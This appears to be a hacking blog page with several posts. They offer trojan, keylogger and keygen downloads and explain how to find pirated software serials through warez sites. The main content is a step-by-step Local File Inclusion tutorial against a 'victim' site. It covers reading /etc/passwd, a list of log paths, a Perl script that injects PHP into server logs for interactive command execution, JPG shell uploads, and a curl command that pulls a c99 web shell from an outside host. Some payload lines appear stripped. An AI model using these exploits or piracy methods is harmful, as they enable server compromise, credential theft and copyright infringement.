HACKER CLUB 4 U

Download Best Free Hacking Tools & Softwares: Download Trojans, Keyloggers, Wireless Hacks, Mobile Hacks & Crackers | BEST COLLECTION

4:48 AM TheHackerClub No comments

DOWNLOAD

Keygen & Serial keys for all EA Games Download Free

4:44 AM TheHackerClub No comments

Keygen & Serial keys for all EA Games Download Free | EA Keygen for Over 135 Games Including BF2142 | 5.5 MB

This is an insane keygen, it includes serials for over 135 games; including: All Battlefield Games ,Black And White ,Every C&C Game, All FIFA games, etc. This is a rare keygen as there are only a few floating around the net!

Download Here(THC)

How to Find any Serial Key/Crack for Any Software ?

4:41 AM TheHackerClub No comments

How to Find any Serial Key/Crack for Any Software ?

All possible ways to Find the serial Key are as cited below

a.) Using Google
b.) Using Craagle Software
c.) Using serials search websites.

1.) Finding Serial Key using Google :

To Get the serial number from googleyou have to just follow these steps :

* Go to Google.

* In the search field type : "Software name" 94FBR

* Where, "Software Name" is the name of the item you want to find the serial number for.

* And in google search Results you will get the list of all those websites where the serial key of the required software is available.Thats it !! :-)

HOW DOES THIS WORK ?

Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things.

1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for.
2) Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

See these example searches :
Search the following Keywords on Google :-

"Photoshop 7" 94FBR
"Age of Mythology" 94FBR
"Nero Burning Rom 5.5" 94FBR

2. How to get Serial key using Craagle Sofware ?

Craagle is a free search engine that allows users to search every sort of cracks, serials, keys, keygen and covers, without falling into shit, like annoying toolbars, pop-ups, spyware, ad-ware and mal-ware that the crack sites or search sites abundant with.

It works by doing the searching the cracks, serials or album covers directly from Craagle program without the need to visit the websites. Craagle has added advantage of able to search for cover images or graphics for CD, DVD, audio, games and etc.You can also use a proxy to bypass Day Limit for some sites.

* Crack Sites Supported :

Cracks.Am, KeyGen.Us, AllCracks.Net, Andr.Net, Crack.Ms,Crackz.Ws, CrackArchive.Com, CrackDb.Com, CrackzPlanet.Com,CrackWay.Com, MsCracks.Com, CrackPortal.Com, TheCracks.Us,KeyGen.Ru

* Serial Sites Supported :

Seriall.Com, FreeSerials.Com, SerialSite.Com, Serials.Ws, Andr.Net, SerialKey.Net, SerialArchive.Com, CrackzPlanet.Com,MsCracks.Com, CrackPortal.Com, KeyGen.Name, TheKeys.Ws,FreeSerials.Ws, FreeSerials.Spb.Ru, Serial.220volt.Info,SerialCodes.Net

* Cover Site Supported :

CoverTarget.Com, CoverAll.Come.To, CoverIsland.Com

Download Craagle - Click Here

3. Get Serial keys from Serials Search Engines

Here i also want to present you a list of "clean" crack/Serial Search sites for all the latest warez to unlock your software.Please note that the site reviews herein only include information about each site, not the contents of the 'cracks' themselves. Always use a reputable antivirus and antispyware program on cracks & keygens before using them. The same goes for Craagle

* www.serials.ws
* www.keygen.in
* www.smartserials.com
* www.keygenguru.com - Popular site with hundreds of thousands of results.
* www.serialkey.net
* www.zcrack.com
* www.subserials.net
* www.serialportal.com
* supercracks.net
* www.serialcrackz.com
* www.serials.be
* www.cracktop.com
* www.cracksfm.com
* www.cracklib.net
* www.crackdb.org
* www.theserials.com

How to hack websites and damage to a web application using Cross-Site Scripting (XSS) vulnerabilities: Its Add-ons for Firefox

4:35 AM TheHackerClub No comments

Version 0.4.3

Works with Firefox: 2.0.0.8 – 3.6a1pre

Updated May 25, 2009

Developer Security Compass

Rating Rated 5 out of 5 stars

Cross-Site Scripting (XSS) is a common flaw found in todays web applications. XSS flaws can cause serious damage to a web application. Detecting XSS vulnerabilities early in the development process will help protect a web application from unnecessary flaws. XSS-Me is the Exploit-Me tool used to test for reflected XSS vulnerabilities.

XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site Scripting (XSS). It does NOT currently test for stored XSS.rnrnThe tool works by submitting your HTML forms and substituting the form value with strings that are representative of an XSS attack.rnrnIf the resulting HTML page sets a specific JavaScript value (document.vulnerable=true) then the tool marks the page as vulnerable to the given XSS string.rnrnThe tool does not attempting to compromise the security of the given system. It looks for possible entry points for an attack against the system. There is no port scanning, packet sniffing, password hacking or firewall attacks done by the tool.rnrnYou can think of the work done by the tool as the same as the QA testers for the site manually entering all of these strings into the form fields.

DOWNLOAD HERE

Too lazy to say Thanks or comment here? Why not too lazy to read my post?? If you like this post and want us to post similar articles, Pls give us a feedback and leave a comment here.

Step by Step guide for LFI (Local File Inclusion): The process of exploiting a website

4:32 AM TheHackerClub No comments

This tutorial will guide you into the process of exploiting a website thru the LFI (Local File Inclusion).
First lets take a look at a php code that is vulnerable to LFI:
PHP Code:
$page = $_GET[page];
include($page);
?>
Now, this is a piece of code that should NEVER be used, because the $page isn't sanitized and is passed directly to the webpage, but unfortunately (or not ) is very common to be find in the www world.

Ok, now that we know why is it vulnerable let's start to use this in our advantage. First let's take a look how this give us the ability to "browse" thru the web server. Let's imagine theres a file called test.php inside the test directory, if you type victim.com/test/test.php will retrive that file correct? Ok, but if the php code that we examined was in the index.php we could also retrive that file thru victim.com/index.php?page=test/test.php , see what happened there? Now, if the index.php was in victim.com/test/index.php and the test.php in victim.com/test.php you will have to type victim.com/test/index.php?page=../test.php . The ../ is called directory
transversal using that will allow you to go up in the directories.

Now that we can go up and down thru the server let's use it to access files that we are not supposed to. If this was hosted in a Unix server we can then possibly view the password file of the server, to do this you will have to type something like this (the nr of ../ may vary depending of where the vulnerable file is):

Quote:
victim.com/index.php?page=../../../../../../../etc/passwd
If you don't know what to do with the content of etc/passwd then continue reading! :puah[1]: The etc/passwd is where the users/passwords are stored, a non shadowed passwd file will look like this:

Quote:
username: passwd:UID:GID:full_name:directory:shell
For example:

Quote:
username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh
All you need to do then is grab the username and decode the password. If the passwd file is shadowed then you'll see something like this:
Quote:
username:x:503:100:FullName:/home/username:/bin/sh
As you can see the password is now a x and the encoded password is now in /etc/shadow (you will probably not have access to etc/shadow because is only readable/writeable by root and etc/passwd has to be readable by many
processes, thats why you have access to it).
You can also sometimes see something like this:
Quote:
username:!:503:100:FullName:/home/username:/bin/sh
The ! indicates that the encoded password is stored in the etc/security/passwd file.
Heres a couple of places that may be interesting to "visit":
Quote:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
You will probably need to google for it as this is not the right tutorial to it.
Just one more quick thing, its also common to find a vulnerable code like:
PHP Code:
$page = $_GET["page"];
include("$page.php");
?>
In this case as you can see it will add a .php in the end of whatever you include! So if you type in your browser:
victim.com/index.php?file=../../../../../../../../etc/passwd

it will retrieve:
victim.com/index.php?file=../../../../../../../../etc/passwd.php that file don't exist, and you will see an error message, so you need to apply the null byte ():

victim.com/index.php?file=../../../../../../../../etc/passwd

With the null byte the server will ignore everything that comes after .
There are other ways to use the LFI exploit, so continue reading, the REALLY fun is about to begin! :jeerat.gif
We will now gonna try to run commands on the server, we will do this by injecting php code in the httpd logs and then access them by the LFI! To do this first find out where the logs are stored, here is some locations that may be useful to you:

Quote:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

Ok, now that you know where the logs are take a look at them and see what they store, at this example we will use a log that stores the "not found files" and the php code . You will then type at your browser victim.com/ and the php code will be logged because it "dosen't exist".

This possibly won't work because if you go look into the log you will probably see the php code like this:

Quote:
%3C?%20passthru(\$_GET[cmd])%20?>
because your browser will url encode the whole thing! So you'll need to use something else, if you don't have a script of your own you can use this perl script i've wrote:
Code:
#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site="victim.com";
$path="/folder/";
$code="";
$log = "../../../../../../../etc/httpd/logs/error_log";
print "Trying to inject the code";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";
print $socket "GET ".$path.$code." HTTP/1.1\r\n";
print $socket "User-Agent: ".$code."\r\n";
print $socket "Host: ".$site."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "\nCode $code sucssefully injected in $log \n";
print "\nType command to run or exit to end: ";
$cmd = ;
while($cmd !~ "exit") {
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";
print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1\r\n";
print $socket "Host: ".$site."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\n";
while ($show = <$socket>)
{
print $show;
}
print "Type command to run or exit to end: ";
$cmd = ;
}

Copy/paste that, save it as whatever.pl and change what is in bold accordingly to your victim site. If the vulnerable code is in victim.com/main/test.php you should change the /folder/ to /main/ , index.php= to test.php= and the ../../../../../../../etc/httpd/logs/error_log to where the log is at!

That script will inject the code and then will ask you for a command to run on the server! You know what to do now! :secret.gif
Last but not least we will take a look on how to use the avatar/image upload funtion found in a lot of web aplications.
You possibly have seen this in the "Local JPG Shell injection video" at milw0rm, but the best part here that was not mentioned is that the web aplication DOES N'T need to be installed on your victim website!

This is a quick explanation, for a better understanding you can view the video at http://www.milw0rm.com/video/watch.php?id=57
You need to "insert" the php code you want to execute inside the image, to do this you'll need to use your favorite hex editor or you can use the edjpgcom download http://software.security-shell.com/i...e=edjpgcom.zipprogram (all you need to do is right click on the image, open with..., then select the edjpgcom program and then just type the code). Ok now that you have your shell in the image all you need to do is upload it! If your victim.com has a forum or something else that allows you to upload great, if not check if its in a shared hosting, if so do a reverse lookup on it!

Now that you have a list of potential sites that may have a forum or something else that allows you to upload your image all you need to do is take some time to browse thru them until you find one!

After you found one and have uploaded your image here is tricky part, you'll need to "create" an error on it (in order to find the server path to it)! Try per example create an mysql error and you will get something like this:

Quote:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sitefolder/public_html/includes/view.php on line 37
If you can't force an error go back to the etc/passwd file:

Quote:
username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh
As you can see the username is also the directory name, most of the times the name is similar to the domain name, but if not the case you'll have to try them until you find the one you're looking for!

Go to your avatar image right click on it and then properties (write down the path to it), you'll now all set up.
In your browser type this (again, the nr of ../ may vary):

Quote:
victim.com/index.php=../../../../../../../../../home/the_other_site_dir/public_html/path_to_your_avatar/avatar.jpg
In order "words" should look like this (using fictitious "names"):

Quote:
victim.com/index.php=../../../../../../../../../home/arcfull/public_html/forum/uploads/avatar.jpg
After you type this you will see the result of the code inserted in the image!

LFI ( Local File Inclusion ): How to upload SHELL ( C99 .txt )

4:30 AM TheHackerClub No comments

Required:
1. site vuln to lfi
2. php knowledge
3. browser Mozilla Firefox...
================================
So... first you find some site vuln to lfi... now we must check if there are logs...
They are usually stored in /proc/self/environ... so just replace /etc/passwd with /proc/self/environ
If you get something like "DOCUMENT_ROOT=..." then it means you successfully found logs :D
Now,on that page you can find something like "HTTP_USER_AGENT"...
This value is usually our useragent(mozilla,netscape,etc) and now we must spoof it... but how?
Open a new tab in Mozilla,and type "about:config" (without quotes)...
Now,in "Filter" type: general.useragent.extra.firefox
You will get something like this:
Code:

Preference name                            Status     Type        Value
general.useragent.extra.firefox     default     string       Firefox/3.0.7

Now,double click on general.useragent.extra.firefox and replace "Firefox/3.0.7"
with
Code:

If everything is good you will get shell included... Otherwise,you will get errors... Mostly I was getting error "URL-File access disabled" or something like that... but using php I found another way...
Instead of typing
Code:

as useragent,type this:
Code:

Then load your vuln page like this:
Code:

http://yourvulnsite.com/vulnscript.php?page=../../../proc/self/environ?cmd=curl http://shelladress.com/c99.txt -o c99.php

So,lets review... basicaly,you are just adding &cmd= thing at the end of url...
Now,using "curl" command you will get content of shell in txt format and by using -o c99.php you will rename it to c99.php...
Now simply go to your site like this:
Code:

http://yourvulnsite.com/c99.php

And that's all for now...cheers!

How Hackers hacks your cell phone to get information?? How Hackers spy conversations of your cell phone??

4:22 AM TheHackerClub No comments

Hackers can get your information, and even spy on your conversations all through your cell phone.

Have you ever put your phone down for a few minutes, maybe left it on your desk, or on the table at a restaurant while you head to the ladies room?

If you’ve ever left it unattended you’re at risk.

When your phone rings, you answer. But your phone can pickup without making a sound, and turn into a hidden microphone.

Expert Tom Slovenski explains, “You can hear everything that is going on in the room.“

It happened to the Kuykendall family in Washington State. “They’ve totally taken over the phone,“ Heather Kuykendall says. And it was hard to convince authorities something was going on. “I can’t sleep at night I worry constantly,“ she says.